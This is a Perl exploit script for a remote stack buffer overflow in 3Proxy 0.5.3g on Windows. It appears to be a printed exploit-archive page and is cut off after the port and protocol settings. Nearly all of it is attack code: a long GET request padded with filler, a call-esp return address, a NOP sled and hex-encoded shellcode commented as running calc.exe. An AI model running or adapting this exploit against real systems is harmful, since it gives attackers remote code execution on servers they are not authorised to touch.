1 #!/usr/bin/perl
2 #This module exploits a stack overflow in 3Proxy prior to 0.5.3h, and 0.6bdevel before 20070413. By sending a long h
ost header in HTTP GET request to the default port of # 3128, a remote attacker could overflow a buffer and execute a
rbitrary code.
3 #
4 # Marcin Kozlowski based on vade79 PoC
5 #
6
7
8
9 #IO::Socket for network connections
10 use IO::Socket;
11
12 #the ip address is our first commandline argument also known as ARGV[0] in Perl
13 $ip = $ARGV[0];
14
15 #our nopsled
16 $nopsled = "\x90"x36;
17 $A = "A" x 1064;
18 $B = "B" x 999;
19
20
21
22 #execute calc.exe
23 #
24 $payload =
25
26 "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02".
27 "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48".
28 "\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4".
29 "\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12".
30 "\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69".
31 "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6".
32 "\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5".
33 "\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21".
34 "\x61\xdd\x0e\x4d";
35
36
37 #our extended instruction pointer which we use to overwrite the remote eip
38 #remeber to make it littleendian format
39
40 $eip = "\x72\x93\xab\x71"; #call esp
41
42
43 #we construct our full attackstring here
44 $attackstring = "GET /".$A.$eip.$nopsled.$payload." HTTP/1.0\nHost: ".$B."\n\n";
45
46
47 print $attackstring;
48
49 #view a message if no ip address is given
50 if(!$ip)
Page 1/2
3proxy 0.5.3g logurl Remote Buffer Overflow Exploit win32 pl
Marcin Kozlowski
12/18/2007
51 {
52
53 die "You have to provide the target's IP Address..\n";
54
55 }
56
57 #the remote port to connect to
58 $port = '3128';
59
60 #the connection protocol to use
61 $protocol = 'tcp';